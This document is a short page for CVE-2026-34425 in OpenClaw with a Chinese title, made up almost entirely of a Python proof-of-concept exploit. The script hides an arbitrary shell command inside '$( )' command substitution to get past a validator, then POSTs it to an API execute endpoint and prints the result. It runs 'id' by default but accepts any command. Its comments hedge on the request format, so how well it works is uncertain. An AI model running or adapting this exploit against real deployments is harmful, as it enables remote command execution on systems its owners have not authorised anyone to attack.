CVE-2026-34425 OpenClaw验证绕过漏洞

# Proof of Concept for CVE-2026-34425 # This script demonstrates how to bypass the shell-bleed protection using command substitution. import requests def exploit_poc(target_url, command): """ Exploit the validation bypass in OpenClaw. """ # Bypass technique: Using command substitution to hide the execution # The validator might fail to detect the command inside $() payload = f"echo $( {command} )" # Construct the data payload typically sent to the OpenClaw API data = { "script": payload, "action": "execute" } try: print(f"[*] Sending payload to {target_url}") print(f"[*] Payload: {payload}") response = requests.post(target_url, json=data, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check if the command was executed.") print(f"[+] Response: {response.text}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Example usage (Replace with actual target) target = "http://vulnerable-openclaw-instance/api/execute" cmd = "id" # Safe command for testing exploit_poc(target, cmd)